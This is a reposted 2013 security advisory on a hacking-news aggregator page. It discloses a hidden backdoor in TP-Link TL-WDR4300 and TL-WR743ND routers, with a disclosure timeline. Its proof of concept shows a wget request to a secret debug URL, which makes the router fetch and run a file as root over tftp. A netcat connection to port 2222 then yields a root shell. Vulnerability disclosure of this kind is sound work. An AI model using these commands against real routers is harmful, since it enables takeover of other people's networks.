记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

TP-Link http/tftp 后门(backdoor)

2013-03-14 16:07

TP-Link http/tftp backdoor

About the TP-Link Router

TP-Link TL-WDR4300 is a popular dual band WiFi, SOHO class router.

Tested Firmware

We tested the remote root PoC on the newest firmware (published on 25.12.2012):

TP-Link http/tftp backdoor

TL-WDR4300 – tested firmware version

The following info is provided for educational use only! We are also not resposible for any potential damages of the devices which are tested for this vulnerability.

Proof of Concept

root@secu:~# nc 192.168.0.1 2222
(UNKNOWN) [192.168.0.1] 2222 (?) : Connection refused
root@secu:~# wget http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html                                                                                                                       --2013-03-09 23:22:31--  http://192.168.0.1/userRpmNatDebugRpm26525557/start_art                                                                                                                     .html
Connecting to 192.168.0.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: "start_art.html"

    [ <=>                                   ] 426         --.-K/s   in 0s

2013-03-09 23:22:33 (49.1 MB/s) - "start_art.html" saved [426]

root@secu:~# nc 192.168.0.1 2222
ps
  PID  Uid     VmSize Stat Command
    1 root        404 S   init
    2 root            SW< [kthreadd]
    3 root            SW< [ksoftirqd/0]
    4 root            SW< [events/0]
    5 root            SW< [khelper]
    6 root            SW< [async/mgr]
    7 root            SW< [kblockd/0]
    8 root            SW  [pdflush]
    9 root            SW  [pdflush]
   10 root            SW< [kswapd0]
   17 root            SW< [mtdblockd]
   18 root            SW< [unlzma/0]
   71 root       2768 S   /usr/bin/httpd
   76 root        380 S   /sbin/getty ttyS0 115200
   78 root        208 S   ipcserver
   82 root       2768 S   /usr/bin/httpd
   83 root       2768 S   /usr/bin/httpd
   86 root        732 S   ushare -d -x -f /tmp/ushare.conf
   92 root        348 S   syslogd -C -l 7
   96 root        292 S   klogd
  101 root            SW< [napt_ct_scan]
  246 root        348 S   /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u
  247 root        204 S   /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u
  251 root        364 S   /usr/sbin/udhcpd /tmp/wr841n/udhcpd.conf
  286 root       2768 S   /usr/bin/httpd
  299 root       2768 S   /usr/bin/httpd
  300 root       2768 S   /usr/bin/httpd
  305 root       2768 S   /usr/bin/httpd
  307 root       2768 S   /usr/bin/httpd
  309 root       2768 S   /usr/bin/httpd
  310 root       2768 S   /usr/bin/httpd
  389 root       2768 S   /usr/bin/httpd

Details

After the following HTTP request is sent:

http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html

the router downloads a file (nart.out) from the host which has issed the http request and executes is as root:

TP-Link http/tftp backdoor

PoC – diagram

Sample captures from the host which issues the http request:

TP-Link http/tftp backdoor

Wireshark filter used to show router tftp traffic

TP-Link http/tftp backdoor

nart.out tftp request

Models affected

TL-WDR4300

TL-WR743ND (v1.2 v2.0)

History of the bug

12.02.2013 – TP-Link e-mailed with details – no response

22.02.2013 – TP-Link again e-mailed with details – no response

12.03.2013 – public disclosure

More information

http://sekurak.pl/more-information-about-tp-link-backdoor/

– Michal Sajdak

from: http://sekurak.pl/tp-link-httptftp-backdoor/

知识来源: lcx.cc/?i=3369

阅读:409514 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“TP-Link http/tftp 后门(backdoor)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云